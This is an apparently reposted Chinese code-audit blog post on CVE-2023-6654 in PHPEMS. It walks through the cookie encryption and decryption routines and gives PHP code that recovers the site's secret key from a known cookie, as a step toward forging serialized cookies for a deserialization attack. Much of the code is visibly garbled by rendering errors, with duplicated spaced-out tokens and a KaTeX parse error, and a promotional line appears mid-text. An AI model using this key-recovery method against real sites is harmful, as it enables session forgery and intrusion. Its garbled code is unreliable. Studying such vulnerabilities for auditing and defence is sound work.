代码审计-CVE-2023-6654-PHPEMS-加密-解密分析

路由:
在这里插入图片描述
入口方法:
在这里插入图片描述
鉴权分析:
在这里插入图片描述
由此可以得出 鉴权是由session类负责获取参数后,由各个类的魔术方法负责:(在此还有一个方法 全局搜索登录关键词)

在这里插入图片描述
1、断点分析:
寻找鉴权点分析(我在文章的操作相关目录下面的app.php类打断点 因为此处打断点后 只需要刷新就会进行鉴权)

在这里插入图片描述
刷新后 步进 来到了session类里

在这里插入图片描述
再次步入后来到 ev类里 该类是一些工具类 如设置或者获取cookie等

在这里插入图片描述
再次步入 来到了 今天的主角 strings类 也就是字符串处理类 在保存cookie或者获取cookie时 先得进行字符串处理 也就是加密和解密 同时该程序在传递信息时 是采用直接传递对象的形式 也就是说存在序列化和反序列化 这样也就引发了 反序列化漏洞 该漏洞的cve 为:CVE-2023-6654
在这里插入图片描述
在客户端访问时 还会调用session类中的getSessionId方法,该方法先判断cookie中是否有用户信息,如果没有 则取信息后调用该类中的 setSessionUser方法,设置cookie,在设置cookie时,进行序列化操作后在加密保存在cookie里

前面提的这些网络安全技术我都整理录制成了视频教程,是我粉丝我都可以无偿分享。

在这里插入图片描述

2、加、解密分析
加密:

public function encode($info){ i n f o = s e r i a l i z e ( info = serialize( info=serialize(info); //先进行序列化操作 $key = CS; // CS为全局常量 在index.php时就引入了全局配置 k l = s t r l e n ( kl = strlen( kl=strlen(key); // 取密匙的长度 i l = s t r l e n ( il = strlen( il=strlen(info); // 取序列化后的文本长度 for($i = 0; $i < $il; $i++) { $p = i i% ikl; // 进行取余操作 i n f o [ info[ info[i] = chr(ord( i n f o [ info[ info[i])+ord( k e y [ key[ key[p])); // 将 i n f o 字符串中第 i 个字符的 A S C I I 值和 info字符串中第i个字符的 ASCII值和 info字符串中第i个字符的ASCII值和key字符串中第p个字符的ASCII值相加,然后将结果转换为对应的字符。这里是重点!!! } return urlencode($info); }
解密:

public function decode($info){ $key = CS; i n f o = u r l d e c o d e ( info = urldecode( info=urldecode(info);//进行url解码 k l = s t r l e n ( kl = strlen( kl=strlen(key); i l = s t r l e n ( il = strlen( il=strlen(info); for($i = 0; $i < $il; $i++) { $p = i i% ikl; i n f o [ info[ info[i] = chr(ord( i n f o [ info[ info[i])-ord( k e y [ key[ key[p])); // 将 i n f o 字符串中第 i 个字符的 A S C I I 值和 info字符串中第i个字符的 ASCII值和 info字符串中第i个字符的ASCII值和key字符串中第p个字符的ASCII值相减,然后将结果转换为对应的字符。
} i n f o = u n s e r i a l i z e ( info = unserialize( info=unserialize(info);// 进行反序列化 return $info; }
由上面的加密和解密的关系中 我得到这样的关系:

加密前 = 加密后 - 密匙
加密后 = 加密前 + 密匙
密匙 = 加密后 - 加密前
如果想使用该反序列化漏洞 就得先加密后 传入cookie中即可触发。但是该程序中得密匙是可以随机定义的,在全局配置文件中的CS常量:

define(‘CS’,‘1hqfx6ticwRxtfviTp940vng!yCQK6’);//请随机生成32位字符串修改此处值
由此可知道,密匙的长度固定 且为 32位字符如果想知道密匙就必须得到逆向加密算法,由我们上面的关系可以得到:密匙 = 加密后 – 加密前

function getkey( i n f o e n , info_en, infoen,info_de){ i l = s t r l e n ( il = strlen( il=strlen(info_en); $kl = 32; //密匙长度固定且为 32 k e y = " " ; f o r ( key = ""; for( key="";for(i = 0; $i < $il; $i++) { $p = i i% ikl; k e y . = c h r ( o r d ( key .= chr(ord( key.=chr(ord(info_en[ i ] ) − o r d ( i])-ord( i])ord(info_de[$p])); // 密匙 = 加密后 - 加密前 } return $key;}
逆向密匙的算法已经搞定了,但是我们还需要 加密前和加密后的信息,并且该信息我们可以直接获得,而且存在共性,也就是在该程序中固有的,

直接用本地调试的办法,获取本地的cookie,使用解密函数直接解密,因为知道密匙可以直接解密。

a:3:{s:9:“sessionid”;s:32:“68769deac60feeeef448e67e1d6f6ace”;s:9:“sessionip”;s:9:“127.0.0.1”;s:16:“sessiontimelimit”;i:1706884249;}
密匙的长度固定为32位 所以要获取固定的 32位,因为存在取余的情况,起始最好的显示结果为 32的整数倍,其他的显示结果需要拼接。

那么我们在分析由哪些方法设置了cookie即可。

在之前的session类中getSessionId方法,就存在设置cookie的操作,并且在设置cookie前 还进行了加密。

在这里插入图片描述
在这里插入图片描述

由此可知,向cookie中储存了 sessionid的id和ip信息,还有创建时间,然后代码审计可得:该程序的sessionid储存在cookie的作用是:用于数据库查询 表名为:x2_session

在这里插入图片描述
可控部分为:

";s:9:“sessionip”;s:9:“127.0.0.1”;s:16:“sessiontimelimit”;i:17068
取32的整数倍 为64后 :”sessionip”;s:9:”127.0.0.1″;s:1刚刚好都是可控的,那么就直接使用函数进行逆向密匙结果:

完整代码为:

function getkey( i n f o e n , info_en, infoen,info_de){ i l = s t r l e n ( il = strlen( il=strlen(info_en); $kl = 32; //密匙长度固定且为 32 k e y = " " ; f o r ( key = ""; for( key="";for(i = 0; $i < $il; $i++) { $p = i i% ikl; k e y . = c h r ( o r d ( key .= chr(ord( key.=chr(ord(info_en[ i ] ) − o r d ( i])-ord( i])ord(info_de[$p])); // 密匙 = 加密后 - 加密前 } return KaTeX parse error: Expected 'EOF', got '}' at position 5: key;}̲info_en = “%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%25BF%25B3%2584%25C2f%2592%25CD%25A9%25CC%25DE%259A%25A6%25A1%259C%25A7%2583%25DD%25D5%25C8%25DB%259C%2586%25D5l%2599e%25AD%25A1%259FX%25AF%257C%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2581%257C%2593oi%25A3%25EE”; i n f o e n = u r l d e c o d e ( info_en = urldecode( infoen=urldecode(info_en); i n f o e n = u r l d e c o d e ( info_en = urldecode( infoen=urldecode(info_en); i n f o d e = ′ a : 3 : s : 9 : " s e s s i o n i d " ; s : 32 : " 68769 d e a c 60 f e e e e f 448 e 67 e 1 d 6 f 6 a c e " ; s : 9 : " s e s s i o n i p " ; s : 9 : " 127.0.0.1 " ; s : 16 : " s e s s i o n t i m e l i m i t " ; i : 1706884249 ; ′ ; info_de = 'a:3:{s:9:"sessionid";s:32:"68769deac60feeeef448e67e1d6f6ace";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706884249;}'; infode=a:3:s:9:"sessionid";s:32:"68769deac60feeeef448e67e1d6f6ace";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706884249;;info_en = substr( i n f o e n , 64 , 32 ) ; info_en,64,32); infoen,64,32);info_de = substr($info_de,64,32);echo i n f o d e . " < / b r > " ; e c h o g e t k e y ( info_de."</br>";echo getkey( infode."</br>";echogetkey(info_en,$info_de);
两次urldecode是因为 一次在cookie中自动编码转换了,还有一次是在加密的时候进行了一次编码。

在这里插入图片描述
也可以取不是32的整数倍作为起始,那么得到的结果需要进行相应的拼接操作:
在这里插入图片描述
3、反序列化可用方法分析
在app/content/cls/api.cls.php中存在多个eval方法,但是引入这个类的方法都是需要登录操作,没办法利用。

在lib/pepdo.cls.php类中,存在多个执行数据库语句的方法。由此可以有限考虑利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2777123.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【Spring】springmvc如何处理接受http请求

目录 ​编辑 1. 背景 2. web项目和非web项目 3. 环境准备 4. 分析链路 5. 总结 1. 背景 今天开了一篇文章“SpringMVC是如何将不同的Request路由到不同Controller中的&#xff1f;”&#xff1b;看完之后突然想到&#xff0c;在请求走到mvc 之前服务是怎么知道有请求进来…

DC-9靶机渗透详细流程

信息收集&#xff1a; 1.存活扫描&#xff1a; arp-scan -I eth0 -l 发现靶机ip&#xff1a;192.168.10.132 └─# arp-scan -I eth0 -l 192.168.10.1 00:50:56:c0:00:08 (Unknown) 192.168.10.2 00:50:56:e5:b1:08 (Unknown) 192.168.10.132 //靶机 00:0c…

Python爬虫之文件存储#5

爬虫专栏&#xff1a;http://t.csdnimg.cn/WfCSx 文件存储形式多种多样&#xff0c;比如可以保存成 TXT 纯文本形式&#xff0c;也可以保存为 JSON 格式、CSV 格式等&#xff0c;本节就来了解一下文本文件的存储方式。 TXT 文本存储 将数据保存到 TXT 文本的操作非常简单&am…

5G技术对物联网的影响

随着数字化转型的加速&#xff0c;5G技术作为通信领域的一次重大革新&#xff0c;正在对物联网&#xff08;IoT&#xff09;产生深远的影响。对于刚入行的朋友们来说&#xff0c;理解5G技术及其对物联网应用的意义&#xff0c;是把握行业发展趋势的关键。 让我们简单了解什么是…

12 ABC串口接收原理与思路

1. 串口接收原理 基本原理&#xff1a;通过数据起始位判断要是否要开始接收的数据&#xff0c;通过采样的方式确定每一位数据是0还是1。 如何判断数据起始位到来&#xff1a;通过边沿检测电路检测起始信号的下降沿 如何采样&#xff1a;一位数据采多次&#xff0c;统计得到高…

算法——数论——GCD和LCM

目录 GCD&#xff08;最大公约数&#xff09; 1、欧几里得算法 LCM&#xff08;最小公倍数&#xff09; 一、试题 算法训练 抗击虫群 GCD&#xff08;最大公约数&#xff09; 整数 a 和 b 的最大公约数是指能同时整除 a 和 b 的最大整数&#xff0c;记为 gcd(a,b)-a的因子和…

C# 字体大小的相关问题

设置字体大小无法这么写&#xff0c; button1.Font.Size 20&#xff1b; 这个是只读属性&#xff1b; 把字体大小改为16&#xff0c; button2.Font new Font(button2.Font.Name, 16); 程序运行的时候先看一下窗体和控件的默认字体尺寸&#xff0c;都是9&#xff1b;然后点b…

v-if 和v-show 的区别

第074个 查看专栏目录: VUE ------ element UI 专栏目标 在vue和element UI联合技术栈的操控下&#xff0c;本专栏提供行之有效的源代码示例和信息点介绍&#xff0c;做到灵活运用。 提供vue2的一些基本操作&#xff1a;安装、引用&#xff0c;模板使用&#xff0c;computed&a…

【大厂AI课学习笔记】【1.5 AI技术领域】(7)图像分割

今天学习到了图像分割。 这是我学习笔记的脑图。 图像分割&#xff0c;Image Segmentation&#xff0c;就是将数字图像分割为若干个图像子区域&#xff08;像素的集合&#xff0c;也被称为超像素&#xff09;&#xff0c;改变图像的表达方式&#xff0c;以更容易理解和分析。 …

春晚刘谦第二个魔术原理讲解

目录 1. 先说一下步骤&#xff1a;2. 原理讲解&#xff1a;2.1 第一步分析2.1 第二步分析2.1 第三步分析2.1 第四步分析2.1 第五步分析2.1 第六步分析2.1 第七步分析2.1 第八步分析2.1 第七步重新分析 小结&#xff1a; 首先&#xff0c;先叠个甲。我本人很喜欢刘谦老师&#x…

大水仙花数求解

输入位数&#xff0c;求解水仙花数。暴力求解&#xff0c;位数如果太多&#xff0c;会超时。 思路&#xff1a; &#xff08;1&#xff09;11333355和33331155看上去是不一样的两个数&#xff0c;但是它们又一样&#xff0c;因为相同数字出现的次数一样。 &#xff08;2&…

大模型学习 一

https://www.bilibili.com/video/BV1Kz4y1x7AK/?spm_id_from333.337.search-card.all.click GPU 计算单元多 并行计算能力强 指数更重要 A100 80G V100 A100 海外 100元/时 单卡 多卡并行&#xff1a; 单机多卡 模型并行 有资源的浪费 反向传播 反向传播&#xff08;B…

《MySQL 简易速速上手小册》第6章:MySQL 复制和分布式数据库(2024 最新版)

文章目录 6.1 设置和管理复制6.1.1 基础知识6.1.2 重点案例&#xff1a;使用 Python 设置 MySQL 主从复制6.1.3 拓展案例 1&#xff1a;自动故障转移6.1.4 拓展案例 2&#xff1a;设置双主复制 6.2 复制的类型和策略6.2.1 基础知识6.2.2 重点案例&#xff1a;使用 Python 设置半…

Kafka 入门介绍

目录 一. 前言 二. 使用场景 三. 分布式的流平台 四. Kafka 的基本术语 4.1. 主题和日志 &#xff08;Topic 和 Log&#xff09; 4.2. 分布式&#xff08;Distribution&#xff09; 4.3. 异地数据同步技术&#xff08;Geo-Replication&#xff09; 4.4. 生产者&#xf…

SpringBoot源码解读与原理分析(二十)IOC容器的刷新(一)

文章目录 7 IOC容器的刷新7.1 初始化前的预处理7.1.1 初始化属性配置7.1.2 初始化早期事件的集合 7.2 初始化BeanFactory7.2.1 注解驱动的refreshBeanFactory7.2.2 XML驱动的refreshBeanFactory7.2.3 获取BeanFactory 7.3 BeanFactory的预处理配置7.3.1 ApplicationContextAwar…

Spring基础 - Spring简单例子引入Spring要点

Spring基础 - Spring简单例子引入Spring要点 设计一个Spring的Hello World 设计一个查询用户的案例的两个需求&#xff0c;来看Spring框架帮我们简化了什么开发工作 pom依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"htt…

FastJson、Jackson使用AOP切面进行日志打印异常

FastJson、Jackson使用AOP切面进行日志打印异常 一、概述 1、问题详情 使用FastJson、Jackson进行日志打印时分别包如下错误&#xff1a; 源码&#xff1a; //fastjon log.info("\nRequest Info :{} \n"&#xff0c; JSON.toJSONString(requestInfo)); //jackson …

106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode)

题目描述 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 题目示例 输入&#xff1a;inorder [9,3,15,20,7], postorder [9,15,7,20,3] 输出&a…

【正式】今年第一篇CSDN(纯技术教学)

一、文件上传简介 文件上传漏洞是指用户上传了一个可执行的脚本文件&#xff08;木马、病毒、恶意脚本、webshell等&#xff09;&#xff0c;并通过此脚本文件获得了执行服务器端命令的能力。上传点一般出现在头像、导入数据、上传压缩包等地方&#xff0c;由于程序对用户上传…

《Git 简易速速上手小册》第10章:未来趋势与扩展阅读(2024 最新版)

文章目录 10.1 Git 与开源社区10.1.1 基础知识讲解10.1.2 重点案例&#xff1a;Python 社区使用 Git10.1.3 拓展案例 1&#xff1a;Git 在大型开源项目中的角色10.1.4 拓展案例 2&#xff1a;支持开源项目的 Git 托管平台 10.2 新兴技术与 Git 的整合10.2.1 基础知识讲解10.2.2…